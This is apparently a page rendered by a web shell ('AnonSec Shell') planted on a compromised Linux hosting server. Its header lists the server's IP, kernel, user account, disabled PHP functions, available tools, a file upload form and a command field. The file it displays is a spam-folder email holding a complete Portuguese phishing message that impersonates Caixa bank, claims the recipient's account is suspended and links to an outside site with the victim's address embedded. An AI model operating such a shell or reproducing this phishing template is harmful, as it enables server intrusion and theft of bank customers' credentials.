AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1625692353.M133469P16737.dedi-4363141.lrsys.com.br,S=9471,W=9723
Return-Path: <root@envio7.bertinimidia09.online>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id Xs8WB8EY5mBhQQAAIWsJAg
	(envelope-from <root@envio7.bertinimidia09.online>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Wed, 07 Jul 2021 18:12:33 -0300
Return-path: <root@envio7.bertinimidia09.online>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Wed, 07 Jul 2021 18:12:33 -0300
Received: from envio7.bertinimidia09.online ([23.102.187.199]:44602)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.94.2)
	(envelope-from <root@envio7.bertinimidia09.online>)
	id 1m1EqH-0004LH-D1
	for financeiro@lrsys.com.br; Wed, 07 Jul 2021 18:12:32 -0300
Received: by envio7.bertinimidia09.online (Postfix, from userid 0)
	id 5D2E73FDDB; Wed,  7 Jul 2021 20:54:32 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=envio7.bertinimidia09.online; s=mail; t=1625691333;
	bh=3zASRr0CshKYG0yqDvJ05sNcg73MyGU5XaRRn2Viq+A=;
	h=Subject:From:To:Date;
	b=UOqK7BAr7wJsdLu4NNV/ezVZtIMvqW2oV51WJCgZhK67FqXIteMjqmj7Uqglx47X7
	 UxLXo21oVx5YcR1cALuQuXTfJzAznnJGJouANqsJ2mZAN2jTFzpW6HuXnkbwQ5J8fk
	 29bhPt5r6UO1JBPfRJ1y9PffkpsH9qrU0JI0eh/k=
content-type: text/html
MIME-Version: 1.0
X-Priority: 1
X-MSmail-Priority: High
Priority: urgent
Importance: high
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-Newsreader: Microsoft Outlook Express 6.00.2800.140
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Message-ID: <0aodheQ0DrowUBYnQtDwa3ezLTsKtc3QN@envio7.bertinimidia09.online>
From: Caixa-Informa <root@envio7.bertinimidia09.online>
To: financeiro@lrsys.com.br
Date: Wed,  7 Jul 2021 20:54:32 +0000 (UTC)
X-Spam-Status: Yes, score=20.2
X-Spam-Score: 202
X-Spam-Bar: ++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  financeiro@lrsys.com.br -- Confidencial para: financeiro@lrsys.com.br
    Sistema Operacional [OK] Atualização de Dados [PENDENTE] Tempo estimado:
    [1 a 3 minutos] Sua conta da Caixa encontra se com a adesão de segurança
    obr [...] 
 Content analysis details:   (20.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: baronandbay.com]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: bertinimidia09.online]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: envio7.bertinimidia09.online]
                             [(online)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_IMAGE_RATIO_08    BODY: HTML has a low ratio of text to image
                             area
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.0 FORGED_OUTLOOK_HTML    Outlook can't send HTML message only
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  1.8 PERCENT_RANDOM         Message has a random macro in it
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  1.6 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
  3.0 HOSTED_IMG_MULTI_PUB_01 Multiple hosted images at public site
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?Q?=E2=9C=85_?= Sua Conta Foi Suspensa, 07/07/2021 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>financeiro@lrsys.com.br</title>

</head>



<body>

<table width="700" border="0" cellspacing="0" cellpadding="0">

  <tr>

    <td>

	<img border="0" src="https://i.imgur.com/gZAqKJa.png" width="700" height="114"></td>

  </tr>

  <tr>

    <td>

	<span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;">

	-- Confidencial para: <b>financeiro@lrsys.com.br</b></span></td>

  </tr>

  <tr>

    <td>

    &nbsp;<ul>

<li style="text-align: left;"><strong><span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;"><span style="color: #e67e23;">

Sistema Operacional</span> <span style="text-decoration: underline;">[OK]</span></span></strong></a></li>

<li style="text-align: left;"><strong><span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;"><span style="color: #e67e23;">

Atualiza&ccedil;&atilde;o de Dados</span> <span style="text-decoration: underline;">[PENDENTE]</span></span></strong></a></li>

<li style="text-align: left;"><strong><span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;"><span style="color: #e67e23;">

Tempo estimado:</span> <span style="color: #236fa1;">[1 a 3 minutos</span><span style="color: #236fa1; text-decoration: underline;">]</span></a><br></span></strong></li>

<li style="text-align: left;"><span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;">

Sua conta da Caixa encontra se com a ades&atilde;o de seguran&ccedil;a obrigat&oacute;ria em estado: </span>

<font color="#E67E23">

<span style="font-size: 14px; font-family: verdana, geneva, sans-serif; font-weight:700">

PENDENTE</span></font><span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #236fa1;">. 

Informamos que as futuras transa&ccedil;&otilde;es ser&atilde;o temporariamente bloqueadas 

at&eacute; que a mesma seja regularizada.</span></li>

</ul>

  <ul>

<li style="text-align: left;">

<span style="font-size: 14px; font-family: verdana, geneva, sans-serif;">

<span style="color: #e67e23;"><strong><span style="text-decoration: underline;">

<a style="color: #e67e23; text-decoration: underline;" href="https://www.baronandbay.com/xx/?hash=financeiro@lrsys.com.br">

Devido a lei %random%-CX/artigo 908</a> </span></strong></span>

<span style="color: #236fa1;">esta ades&atilde;o &eacute; obrigat&oacute;ria e entra como uma medida 

de seguran&ccedil;a adicional para nossos correntistas.</span><br></span></li>

<li style="text-align: left;">

<span style="font-size: 14px; font-family: verdana, geneva, sans-serif;">

<span style="color: #236fa1;">O</span><span style="color: #e67e23;"><a style="color: #e67e23;" href="https://www.baronandbay.com/xx/?hash=financeiro@lrsys.com.br"><strong> 

Internet Banking Caixa</strong></a></span> <span style="color: #236fa1;">ficou 

mais<span style="color: #e67e23;"> <strong>moderno</strong></span>,

<span style="color: #e67e23;"><strong>pr&aacute;tico</strong></span> e

<span style="color: #e67e23;"><strong>acess&iacute;vel</strong>. </span>Para maior 

seguran&ccedil;a, cadastre seu celular e receba o SMS de suas transa&ccedil;&otilde;es em tempo real.</span><br>

</span></li>

<li style="text-align: left;">

<span style="font-size: 14px; font-family: verdana, geneva, sans-serif;">

<span style="color: #e67e23;">

<a style="color: #e67e23;" href="https://www.baronandbay.com/xx/?hash=financeiro@lrsys.com.br"><strong>Como 

aderir?</strong> </a></span><span style="color: #236fa1;">Para realizar o 

cadastro de seu SMS de acordo com as novas regras estabelecidas, acesse o bot&atilde;o 

abaixo e siga as instru&ccedil;&otilde;es em seu dispositivo.<br>

</span><font color="#E67E23">Dispon&iacute;vel para iOS e Android.</font></span></li>

</ul>

	<p style="display:block;font-family:Tahoma, Geneva, sans-serif;font-size:11px;color:#595959;padding:5px 13px;">

        <font face="Tahoma" style="font-size: 9pt"><a href="https://www.baronandbay.com/xx/?hash=financeiro@lrsys.com.br">

		<img border="0" src="https://i.imgur.com/kKbQy2l.png" width="254" height="61"></a><br>&nbsp;<font color="#236FA1">Ou

		</font><font color="#E67E23"><a href="https://www.baronandbay.com/xx/?hash=financeiro@lrsys.com.br">clique aqui</a></font><font color="#236FA1"> 

		caso o bot&atilde;o acima n&atilde;o funcione<br>

		</font></font><br>

     </p>

    </td>

  </tr>

  <tr>

    <td>

	<img border="0" src="https://i.imgur.com/ufBu0YR.png" width="700" height="29"></td>

  </tr>

  <tr>

    <td>

	<span style="font-size: 14px; font-family: verdana, geneva, sans-serif; color: #808080;">

	-- Confidencial para financeiro@lrsys.com.br</span></td>

  </tr>

</table>



</body>

</html>

Anon7 - 2022
AnonSec Team